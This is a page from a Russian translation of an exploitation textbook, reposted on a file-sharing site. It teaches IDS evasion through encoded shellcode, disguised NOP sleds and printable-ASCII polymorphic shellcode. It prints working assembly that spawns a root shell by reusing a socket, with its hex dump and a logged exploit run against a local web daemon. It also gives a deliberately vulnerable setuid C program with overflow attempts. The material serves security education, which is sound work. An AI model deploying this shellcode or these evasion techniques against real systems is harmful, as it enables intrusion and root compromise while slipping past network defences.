Главная страница
Навигация по странице:

  • Команда Hex ASCII

  • 0x690 Ограничения, налагаемые на буфер

  • 0x691 Полиморфный шелл-код в отображаемых символах ASCII

  • Двоичное Шестнадцатеричное

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница41 из 51
    1   ...   37   38   39   40   41   42   43   44   ...   51

    0x680 Контрабанда оружия
    Вышеупомянутые системы IDS и IPS могут не только следить за под- ключениями, но и проверять содержимое пакетов. Обычно они ищут определенные последовательности данных, сигнализирующие о воз- можной атаке.
    Например, простое правило «искать пакеты, содержащие строку /bin/sh позволяет обнаруживать большую часть пакетов, содержащих шелл- код. Наша строка /bin/sh слегка закамуфлирована, потому что протал- кивается в стек кусками по 4 байта, но сетевая IDS может искать и паке- ты, содержащие строки /bin и //sh.
    Такие сигнатуры сетевых IDS могут быть довольно эффективны в борь- бе со «скрипткиддиз», использующими эксплойты, которые они загру- зили из Интернета. Однако их легко обойти с помощью модифициро- ванного шелл-кода, прячущего подозрительные строки.
    0x681 Кодирование строк
    Чтобы спрятать строку, прибавим к каждому ее байту 5. Затем, когда она записана в стек, шелл-код вычтет 5 из каждого ее байта. В резуль- тате мы получим в стеке нужную строку, а при пересылке она пройдет неузнанной. Ниже показано, как получить закодированные байты.
    reader@hacking:

    /booksrc $ echo “/bin/sh” | hexdump -C
    00000000 2f 62 69 6e 2f 73 68 0a |/bin/sh.|
    00000008
    reader@hacking:/booksrc $ gdb -q
    (gdb) print /x 0x0068732f + 0x05050505

    0x680 Контрабанда оружия
    401
    $1 = 0x56d7834
    (gdb) print /x 0x6e69622f + 0x05050505
    $2 = 0x736e6734
    (gdb) quit reader@hacking:/booksrc $
    Следующий шелл-код проталкивает эти закодированные байты в стек, а потом в цикле декодирует их. Кроме того, в нем есть две команды int3
    , чтобы создать точки останова перед декодированием и после него.
    Так легче выяснить с помощью GDB, что происходит.
    encoded_sockreuserestore_dbg.s
    BITS 32
    push BYTE 0x02 ; fork - системный вызов 2
    pop eax int 0x80 ; В дочернем процессе после ветвления eax == 0.
    test eax, eax jz child_process ; В дочернем процессе - запустить оболочку.
    ; В родительском процессе - восстановить tinywebd.
    lea ebp, [esp+0x68] ; Восстановить EBP.
    push 0x08048fb7 ; Адрес возврата.
    ret ; Возврат child_process: ; Повторно использовать имеющийся сокет.
    lea edx, [esp+0x5c] ; Поместить адрес new_sockfd в edx.
    mov ebx, [edx] ; Поместить значение new_sockfd в ebx.
    push BYTE 0x02
    pop ecx ; ecx начинается с 2.
    xor eax, eax dup_loop:
    mov BYTE al, 0x3F ; dup2 - системный вызов 63
    int 0x80 ; dup2(c, 0)
    dec ecx ; Обратный счет до 0
    jns dup_loop ; Если флаг знака не установлен, ecx не отрицательный.
    ; execve(const char *filename, char *const argv [], char *const envp[])
    mov BYTE al, 11 ; execve syscall #11
    push 0x056d7834 ; Протолкнуть в стек закодированные “/sh\x00”.
    push 0x736e6734 ; Протолкнуть в стек закодированные”/bin”.
    mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
    int3 ; Точка останова перед декодированием (УДАЛИТЬ, ЕСЛИ НЕ ОТЛАДКА)
    push BYTE 0x8 ; Нужно декодировать 8 байт pop edx decode_loop:
    sub BYTE [ebx+edx], 0x5
    dec edx jns decode_loop

    402
    0x600 Противодействие int3 ; Точка останова после декодирования (УДАЛИТЬ, ЕСЛИ НЕ ОТЛАДКА)
    xor edx, edx push edx ; Протолкнуть в стек 32-разрядный нулевой указатель.
    mov edx, esp ; Это пустой массив для envp.
    push ebx ; Протолкнуть в стек адрес строки.
    mov ecx, esp ; Это массив argv с указателем строки.
    int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
    В цикле декодирования в качестве счетчика используется регистр EDX.
    Его значение меняется от 8 до 0, потому что нужно декодировать 8 байт.
    Точные адреса в стеке сейчас неважны, потому что все важные части имеют относительную адресацию, и подключаться к уже выполняюще- муся процессу tinywebd необязательно.
    reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file “/home/reader/.gdbinit”
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) set disassembly-flavor intel
    (gdb) set follow-fork-mode child
    (gdb) run
    Starting program: /home/reader/booksrc/a.out
    Starting tiny web daemon..
    Так как точки останова входят в шелл-код, не нужно задавать их в GDB.
    На другом терминале нужно собрать шелл-код и применить его с ин- струментом эксплойта, повторно использующим сокет.
    На другом терминале
    reader@hacking:/booksrc $ nasm encoded_sockreuserestore_dbg.s reader@hacking:/booksrc $ ./xtool_tinywebd_reuse.sh encoded_
    socketreuserestore_dbg 127.0.0.1
    target IP: 127.0.0.1
    shellcode: encoded_sockreuserestore_dbg (72 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128]
    [*fake_addr 8]
    localhost [127.0.0.1] 80 (www) open
    Снова в окне GDB, остановка на первой команде int3 шелл-кода. Мож- но убедиться, что строка правильно декодируется:
    Program received signal SIGTRAP, Trace/breakpoint trap.
    [Switching to process 12400]
    0xbffff6ab in ?? ()
    (gdb) x/10i $eip
    0xbffff6ab: push 0x8 0xbffff6ad: pop edx
    0xbffff6ae: sub BYTE PTR [ebx+edx],0x5 0xbffff6b2: dec edx

    0x680 Контрабанда оружия
    403
    0xbffff6b3: jns 0xbffff6ae
    0xbffff6b5 int3 0xbffff6b6: xor edx,edx
    0xbffff6b8: push edx
    0xbffff6b9: mov edx,esp
    0xbffff6bb: push ebx
    (gdb) x/8c $ebx
    0xbffff738: 52 ‘4’ 103 ‘g’ 110 ‘n’ 115 ‘s’ 52 ‘4’ 120 ‘x’ 109 ‘m’ 5 ‘\005’
    (gdb) cont
    Continuing.
    [tcsetpgrp failed in terminal_inferior: Operation not permitted]
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff6b6 in ?? ()
    (gdb) x/8c $ebx
    0xbffff738: 47 ‘/’ 98 ‘b’ 105 ‘i’ 110 ‘n’ 47 ‘/’ 115 ‘s’ 104 ‘h’ 0 ‘\0’
    (gdb) x/s $ebx
    0xbffff738: “/bin/sh”
    (gdb)
    Убедившись в корректности декодирования, можно удалить команды int3
    из шелл-кода. Следующий листинг показывает использование по- следнего шелл-кода.
    reader@hacking:/booksrc $ sed -e ‘s/int3/;int3/g’ encoded_sockreuserestore_
    dbg.s >
    encoded_sockreuserestore.s reader@hacking:/booksrc $ diff encoded_sockreuserestore_dbg.s encoded_
    sockreuserestore.s 33c33
    < int3 ; Точка останова перед декодированием (УДАЛИТЬ, ЕСЛИ НЕ ОТЛАДКА)
    > ;int3 ; Точка останова перед декодированием (УДАЛИТЬ, ЕСЛИ НЕ ОТЛАДКА)
    42c42
    < int3 ; Точка останова после декодирования (УДАЛИТЬ, ЕСЛИ НЕ ОТЛАДКА)
    > ;int3 ; Точка останова после декодирования (УДАЛИТЬ, ЕСЛИ НЕ ОТЛАДКА)
    reader@hacking:/booksrc $ nasm encoded_sockreuserestore.s reader@hacking:/booksrc $ hexdump -C encoded_sockreuserestore
    00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|
    00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?|
    00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn|
    00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R|
    00000040 89 e2 53 89 e1 cd 80 |..S....|
    00000047
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon..
    reader@hacking:/booksrc $ ./xtool_tinywebd_reuse.sh encoded_
    sockreuserestore 127.0.0.1
    target IP: 127.0.0.1
    shellcode: encoded_sockreuserestore (71 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128]
    [*fake_addr 8]
    localhost [127.0.0.1] 80 (www) open

    404
    0x600 Противодействие whoami root
    0x682 Как скрыть цепочку
    NOP-цепочка – еще одна сигнатура, которую легко обнаруживают се- тевые IDS и IPS. Длинные блоки чисел 0x90 встречаются не слишком часто, поэтому если механизм сетевой защиты обнаружит нечто подоб- ное, то вполне вероятно, что это эксплойт. Чтобы избежать такого об- наружения, можно использовать вместо NOP различные однобайтные команды. Среди таких команд есть несколько, являющихся отобража- емыми символами, – это команды уменьшения и увеличения для раз- ных регистров.
    Команда
    Hex
    ASCII
    inc eax
    0x40
    @
    inc ebx
    0x43
    C
    inc ecx
    0x41
    A
    inc edx
    0x42
    B
    dec eax
    0x48
    H
    dec ebx
    0x4B
    K
    dec ecx
    0x49
    I
    dec edx
    0x4A
    J
    Так как мы обнуляем эти регистры перед использованием, можно сме- ло использовать произвольные комбинации этих байтов вместо NOP.
    В качестве упражнения попробуйте создать еще один инструмент экс- плойта, использующий случайные комбинации символов @, C, A, B, H,
    K
    , I и J вместо обычной NOP-цепочки. Проще всего написать програм- му генерации цепочки на C и использовать ее в сценарии BASH. Таким способом можно скрыть буфер эксплойта от IDS, которые ищут NOP- цепочку.
    0x690 Ограничения, налагаемые на буфер
    Иногда программа налагает на буферы определенные ограничения.
    Подобные проверки допустимости данных позволяют избежать мно- гих уязвимостей. Рассмотрим пример программы, которая обновляет описание товаров в какой-то базе данных. Первый аргумент – код то- вара, второй – его новое описание. На самом деле эта программа не об- новляет базу данных, но очевидная уязвимость в ней есть.

    0x690 Ограничения, налагаемые на буфер
    405
    update_info.c
    #include
    #include
    #include
    #define MAX_ID_LEN 40
    #define MAX_DESC_LEN 500
    /* Выплюнуть сообщение и завершить программу.*/
    void barf(char *message, void *extra) {
    printf(message, extra);
    exit(1);
    }
    /* Эта функция делает вид, что обновляет описание товара в базе данных. */
    void update_product_description(char *id, char *desc)
    {
    char product_code[5], description[MAX_DESC_LEN];
    printf(“[DEBUG]: description is at %p\n”, description);
    strncpy(description, desc, MAX_DESC_LEN);
    strcpy(product_code, id);
    printf(“Updating product #%s with description \’%s\’\n”, product_code, desc);
    // Обновить базу данных
    }
    int main(int argc, char *argv[], char *envp[])
    {
    int i;
    char *id, *desc;
    if(argc < 2)
    barf(“Usage: %s \n”, argv[0]);
    id = argv[1]; // id – код товара, обновляемого в БД
    desc = argv[2]; // desc – описание обновляемого товара if(strlen(id) > MAX_ID_LEN) // Длина id в байтах
    // не должна превышать MAX_ID_LEN.
    barf(“Fatal: id argument must be less than %u bytes\n”,
    (void *)MAX_ID_LEN);
    for(i=0; i < strlen(desc)-1; i++) { // В desc разрешены только
    // отображаемые символы.
    if(!(isprint(desc[i])))
    barf(“Fatal: description argument can only contain printable bytes\n”, NULL);
    }

    406
    0x600 Противодействие
    // Очистить память стека (безопасность)
    // Очистить все аргументы, кроме первого и второго memset(argv[0], 0, strlen(argv[0]));
    for(i=3; argv[i] != 0; i++)
    memset(argv[i], 0, strlen(argv[i]));
    // Очистить все переменные окружения for(i=0; envp[i] != 0; i++)
    memset(envp[i], 0, strlen(envp[i]));
    printf(“[DEBUG]: desc is at %p\n”, desc);
    update_product_description(id, desc); // Обновить базу данных.
    }
    Несмотря на наличие уязвимости, этот код пытается принять меры защиты. Ограничена длина аргумента ID товара, а в содержимом ар- гумента описания разрешены только отображаемые символы. Кроме того, из соображений безопасности неиспользуемые переменные окру- жения и аргументы программы очищаются. Первый аргумент (id) слишком мал для шелл-кода, а поскольку вся остальная память стека очищается, для него остается только одно место.
    reader@hacking:/booksrc $ gcc -o update_info update_info.c reader@hacking:/booksrc $ sudo chown root ./update_info reader@hacking:/booksrc $ sudo chmod u+s ./update_info reader@hacking:/booksrc $ ./update_info
    Usage: ./update_info
    reader@hacking:/booksrc $ ./update_info OCP209 “Enforcement Droid”
    [DEBUG]: description is at 0xbffff650
    Updating product #OCP209 with description ‘Enforcement Droid’
    reader@hacking:/booksrc $
    reader@hacking:/booksrc $ ./update_info $(perl -e ‘print “AAAA”x10’) blah
    [DEBUG]: description is at 0xbffff650
    Segmentation fault reader@hacking:/booksrc $ ./update_info $(perl -e ‘print “\xf2\xf9\xff\
    xbf”x10’) $(cat ./shellcode.bin)
    Fatal: description argument can only contain printable bytes reader@hacking:/booksrc $
    Здесь показан формат вызова программы, а затем сделана попытка эксплойта уязвимого вызова strcpy(). Хотя с помощью первого аргу- мента (id) можно переписать адрес возврата, единственное место, куда можно поместить шелл-код, это второй аргумент (desc). Но буфер про- веряется на наличие неотображаемых символов. Следующий отладоч- ный листинг подтверждает, что эксплойт этой программы возможен, если удастся поместить шелл-код в аргумент описания.
    reader@hacking:/booksrc $ gdb -q ./update_info
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) run $(perl -e ‘print “\xcb\xf9\xff\xbf”x10’) blah
    The program being debugged has been started already.

    0x690 Ограничения, налагаемые на буфер
    407
    Start it from the beginning? (y or n) y
    Starting program: /home/reader/booksrc/update_info $(perl -e ‘print “\xcb\
    xf9\xff\xbf”x10’)
    blah
    [DEBUG]: desc is at 0xbffff9cb
    Updating product # with description ‘blah’
    Program received signal SIGSEGV, Segmentation fault.
    0xbffff9cb in ?? ()
    (gdb) i r eip eip 0xbffff9cb 0xbffff9cb
    (gdb) x/s $eip
    0xbffff9cb: “blah”
    (gdb)
    Проверка отображаемости входных данных – единственное, что ме- шает эксплойту. Как система безопасности в аэропорту, этот цикл про- верки данных изучает все, что в него поступает. И хотя избежать этой проверки невозможно, можно протащить незаконные данные мимо стражей.
    0x691 Полиморфный шелл-код в отображаемых
    символах ASCII
    Полиморфным называется шелл-код, который изменяет себя. Шелл- код с кодированием из предыдущего раздела формально является по- лиморфным, поскольку во время выполнения он меняет строку, с ко- торой работает. В новой NOP-цепочке используются команды, кото- рые ассемблируются в отображаемые символы ASCII. В этот отобража- емый диапазон (от 0x33 до 0x7e) попадают и другие команды, но все же их довольно мало.
    Задача состоит в том, чтобы написать код, который пройдет проверку на отображаемость символов. Пытаться написать с таким ограничен- ным набором команд сложный шелл-код – чистый мазохизм, поэтому лучше попробовать создать отображаемый шелл-код, который с помо- щью простых методов сможет построить в стеке более сложный шелл- код. Таким образом, отображаемый шелл-код фактически будет состо- ять из команд для построения реального шелл-кода.
    Сначала найдем метод обнуления регистров. К сожалению, команда
    XOR
    с различными регистрами не ассемблируется в отображаемые сим- волы ASCII. Есть еще одна поразрядная операция – AND, которая, буду- чи примененной к содержимому регистра EAX, ассемблируется в сим- вол %. Команда ассемблера and eax, 0x41414141 ассемблируется в отобра- жаемый машинный код %AAAA, потому что шестнадцатеричное число
    0x41
    – код символа A.
    Операция AND преобразует биты по следующим правилам:

    408
    0x600 Противодействие
    1 and 1 = 1 0 and 0 = 0 1 and 0 = 0 0 and 1 = 0
    Результат операции равен 1 только тогда, когда оба бита равны 1, по- этому выполнение двух команд AND для регистра EAX сначала с неко- торым значением, а потом с тем, что получается при инвертировании каждого его бита, обнуляет EAX.
    Двоичное Шестнадцатеричное
    1000101010011100100111101001010 0x454e4f4a
    AND 0111010001100010011000000110101 AND 0x3a313035
    ----------------------------------- ----------------
    0000000000000000000000000000000 0x00000000
    С помощью такого приема, в котором участвуют два отображаемых
    32-разрядных значения, являющихся поразрядным инвертировани- ем друг друга, можно обнулить регистр EAX, избегая нулевых байтов, а полученный машинный код будет отображаемым текстом.
    and eax, 0x454e4f4a ; Ассемблируется в %JONE
    and eax, 0x3a313035 ; Ассемблируется в %501:
    Таким образом, байты %JONE%501: в машинном коде обнуляют регистр
    EAX. Это интересно. Вот некоторые другие команды, ассемблируемые в отображаемые символы ASCII:
    sub eax, 0x41414141 -AAAA
    push eax P
    pop eax X
    push esp T
    pop esp \
    Как ни удивительно, этих команд вместе с AND eax оказывается доста- точно, чтобы написать код загрузчика, который построит в стеке шелл- код, и запустить его. В целом техника основывается на том, чтобы сна- чала вернуть ESP дальше, чем находится выполняемый код загрузчи- ка (в более старшие адреса памяти), а затем строить шелл-код от конца к началу, проталкивая значения в стек, как показано на рис. 6.1.
    Стек растет (от старших адресов памяти к младшим), поэтому ESP бу- дет двигаться назад по мере проталкивания значений в стек, а EIP бу- дет двигаться вперед по мере выполнения кода загрузчика. В конце концов EIP и ESP встретятся, и EIP продолжит выполнение по только что построенному шелл-коду.
    Сначала отодвинем ESP за выполняющийся код загрузчика, приба- вив к ESP 860. С помощью отладчика можно увидеть, что после захвата управления программой ESP оказывается за 555 байт до начала буфера переполнения (в котором содержится код загрузчика). Регистр ESP нуж- но изменить так, чтобы он указывал на адрес после кода загрузчика, но оставлял место для нового шелл-кода и самого шелл-кода загрузчика.

    0x690 Ограничения, налагаемые на буфер
    409
    Код загрузчика
    Код загрузчика
    EIP
    Шеллкод
    Код загрузчика
    Создаваемый шелл код
    1)
    2)
    3)
    EIP
    EIP
    ESP
    ESP
    ESP
    Рис. 6.1. Запуск полиморфного шелл-кода
    Для этого будет достаточно примерно 300 байт, поэтому добавим к ESP
    860, чтобы он оказался на 305 байт дальше начала кода загрузчика.
    Точность тут не требуется, потому что далее мы примем меры, что- бы некоторая погрешность не мешала. Поскольку нам доступна толь- ко команда вычитания, сложение будет моделироваться циклическим вычитанием. Регистр имеет длину лишь 32 бита, поэтому прибавление к регистру 860 равносильно вычитанию 860 из 2 32
    , или 4 294 966 436.
    Однако в операции вычитания можно задействовать лишь отображае- мые значения, поэтому она разделена на три команды, в каждой из ко- торых только отображаемые операнды.
    sub eax, 0x39393333 ; Ассемблируется в -3399
    sub eax, 0x72727550 ; Ассемблируется в -Purr sub eax, 0x54545421 ; Ассемблируется в -!TTT
    Отладчик подтверждает, что вычитание этих трех чисел из 32-разряд- ного числа равносильно прибавлению к нему 860.
    reader@hacking:/booksrc $ gdb -q
    (gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421
    $1 = 860
    (gdb)
    Наша цель – вычесть эти значения из ESP, а не EAX, но команда sub esp ассемблируется в неотображаемый символ ASCII. Поэтому для вы- читания надо поместить в EAX текущее значение ESP, а потом полу- ченное в EAX значение записать обратно в ESP.
    Поскольку mov esp, eax и mov eax, esp тоже не ассемблируются в отобра- жаемые символы ASCII, этот обмен надо выполнить через стек.
    Проталкивая в стек значение из регистра-источника, а затем выталки- вая его из стека в регистр-приемник, мы реализуем эквивалент коман- ды mov <приемник>, <источник> с помощью push <источник> и pop <приемник>.

    1   ...   37   38   39   40   41   42   43   44   ...   51


    написать администратору сайта